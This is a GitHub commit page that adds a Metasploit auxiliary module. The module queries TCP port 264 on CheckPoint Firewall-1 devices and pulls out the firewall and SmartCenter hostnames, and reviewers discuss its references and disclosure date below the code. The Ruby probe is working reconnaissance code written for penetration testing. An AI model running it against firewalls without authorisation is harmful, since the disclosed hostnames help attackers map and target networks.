Skip to content

Commit

Permalink
Added checkpoint_hostname aux module.
Browse files Browse the repository at this point in the history
  • Loading branch information
aushack authored and sinn3r committed Dec 16, 2011
1 parent e0c4afb commit 2056378
Showing 1 changed file with 69 additions and 0 deletions.
69 changes: 69 additions & 0 deletions modules/auxiliary/gather/checkpoint_hostname.rb
@@ -0,0 +1,69 @@
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'CheckPoint Firewall-1 Topology Service Hostname Disclosure',
'Description' => %q{
This module sends a query to the TCP port 264 on CheckPoint
firewalls to obtain the firewall name and management station
(such as SmartCenter) name.
},
'Author' => [ 'patrick' ],
'Version' => '$Revision$',
'References' =>
[
# patrickw - None? Stumbled across, probably an old bug/feature but unsure.
[ 'URL', 'http://www.osisecurity.com.au/advisories/' ],
]
))

register_options(
[
Opt::RPORT(264),
], self.class)
end

def autofilter
false
end

def run
print_status("Attempting to contact Checkpoint FW1 Topology service...")
connect

sock.put("\x51\x00\x00\x00")
sock.put("\x00\x00\x00\x21")
res = sock.get(4)
if (res == "Y\x00\x00\x00")
print_good("Appears to be a CheckPoint Firewall...")
sock.put("\x00\x00\x00\x0bsecuremote\x00")
res = sock.get_once
if (res =~ /CN\=(.+),O\=(.+)\./i)
print_good("Firewall Host: #{$1}")
print_good("SmartCenter Host: #{$2}")
end
else
print_error("Unexpected response:\r\n#{res}")
end

disconnect
end

end

4 comments on commit 2056378

@todb-r7
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is this the same or related to: http://www.securiteam.com/securitynews/5HP0D2A4UC.html from 2001?

@aushack
Copy link
Contributor Author

@aushack aushack commented on 2056378 Dec 20, 2011 via email

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@todb-r7
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Okeydoke. It's related enough I think for a reference in the meantime, but I'll update the description to mention that it's not exactly the same thing.

Since it's, as far as you know, a new thing, I'm going to set a DisclosureDate to Dec 14, 2011.

@todb-r7
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

fyi patrick, had some last minute fixups on your code, in case you're curious:

2db697c

Please sign in to comment.